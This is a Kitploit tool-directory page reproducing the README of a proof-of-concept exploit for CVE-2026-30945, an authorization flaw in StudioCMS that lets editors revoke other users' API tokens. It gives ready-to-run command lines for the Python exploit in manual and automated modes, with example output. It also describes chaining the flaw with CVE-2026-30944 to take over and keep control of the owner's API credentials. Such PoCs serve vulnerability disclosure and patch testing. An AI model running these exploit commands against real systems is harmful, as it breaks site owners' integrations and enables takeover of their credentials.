Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-30945-PoC β€” Proof-of-concept exploit for CVE-2026-30945, an IDOR in StudioCMS allowing arbitrary API token revocation and denial of service. Includes manual and automated testing modes. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-30945-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationAPI Security
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

Proof-of-concept exploit for CVE-2026-30945, an IDOR in StudioCMS allowing arbitrary API token revocation and denial of service. Includes manual and automated testing modes.

View Repository
387 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

πŸ—‘οΈ CVE-2026-30945

StudioCMS IDOR β€” Arbitrary API Token Revocation Leading to Denial of Service

CVE CVSS CWE Type

NVD β€’ Advisory β€’ CWE-639


Overview

The DELETE /studiocms_api/dashboard/api-tokens endpoint in StudioCMS ≀ 0.3.0 allows any authenticated user with editor privileges or above to revoke API tokens belonging to any other user, including admin and owner accounts.

The handler accepts tokenID and userID directly from the request payload without verifying token ownership, caller identity, or role hierarchy. This enables targeted denial of service against critical integrations and automations.

Related: This vulnerability shares the same root cause as CVE-2026-30944 (token generation IDOR). When chained together, an attacker can revoke legitimate tokens and generate new ones, achieving complete API credential takeover.

Attack Flow

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   DELETE /api-tokens        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              β”‚  {"tokenID":"<id>",          β”‚              β”‚
β”‚   Attacker   β”‚   "userID":"<owner-id>"}     β”‚  StudioCMS   β”‚
β”‚   (Editor)   β”‚ ──────────────────────────► β”‚   Server     β”‚
β”‚              β”‚                              β”‚              β”‚
β”‚              β”‚ ◄────────────────────────── β”‚              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  {"message":"Token deleted"} β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                     β”‚
                                                     β–Ό
                                              β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                                              β”‚  Owner's     β”‚
                                              β”‚  CI/CD       β”‚
                                              β”‚  Pipeline    │──► ❌ 401 Unauthorized
                                              β”‚  Integration │──► ❌ API Access Lost
                                              β”‚  Monitoring  │──► ❌ Silent Failure
                                              β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Vulnerability Details

FieldValue
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1 (High) β€” AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639: Authorization Bypass Through User-Controlled Key
CWE (secondary)CWE-863: Incorrect Authorization
MITRE ATT&CKT1531 β€” Account Access Removal
OWASP APIAPI1:2023 β€” Broken Object Level Authorization
Affectedstudiocms ≀ 0.3.0
Fixed instudiocms 0.4.0

Contents

FileDescription
cve_2026_30945_poc.pyPython exploitation script with manual & automated modes
README.mdThis file
LICENSEMIT License

Prerequisites

  • StudioCMS ≀ 0.3.0 (vulnerable version)
  • Python 3.8+
  • Valid credentials for at least an Editor account
  • A known token record UUID (internal ID, not the JWT)
pip install requests colorama

Quick Start

Manual Exploitation

# Revoke a specific token belonging to the owner
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Chain with CVE-2026-30944: create a token for the target first
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Save results to JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

Automated Testing

# Test with multiple roles
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

Arguments

Required

ArgumentDescription
-u, --urlTarget StudioCMS base URL
--target-uuidTarget user UUID whose token will be revoked

Optional

ArgumentDescription
--token-idInternal token record UUID to revoke (not the JWT). If omitted, the script will attempt to create a token first via CVE-2026-30944

Manual Mode

ArgumentDescription
--usernameUsername for authentication
--passwordPassword for authentication

Automated Test Mode

ArgumentDescription
--auto-testEnable automated multi-role testing
--editor-userEditor account username
--editor-passEditor account password
--visitor-userVisitor account username
--visitor-passVisitor account password

Flags

ArgumentDescription
--saveSave results to JSON file
--no-ssl-verifyDisable SSL certificate verification

Example Output

Vulnerable System

  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoking target's API token...
  [+] Token revoked! Server response: Token deleted
  [!] VULNERABILITY CONFIRMED β€” Token successfully revoked!
  [!] Target user's API integrations are now broken (DoS)

Patched System

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoking target's API token...
  [*] Access denied (403 Forbidden) β€” endpoint may be patched
  [-] Revocation failed: Access denied (403 Forbidden)

Attack Chain (CVE-2026-30944 + CVE-2026-30945)

When combined with the token generation IDOR (CVE-2026-30944), an attacker can perform a complete API credential takeover:

Step 1: Revoke owner's legitimate token    (CVE-2026-30945)
   └──► Owner's CI/CD pipelines break silently

Step 2: Generate new token for owner       (CVE-2026-30944)
   └──► Attacker now has owner-level API access

Step 3: Owner creates a new token to fix
   └──► Attacker revokes it again (persistent DoS)

This creates a scenario where the attacker maintains persistent control over the owner's API access, repeatedly revoking any new tokens the owner creates while maintaining their own illegitimate access.


Root Cause

Download Tool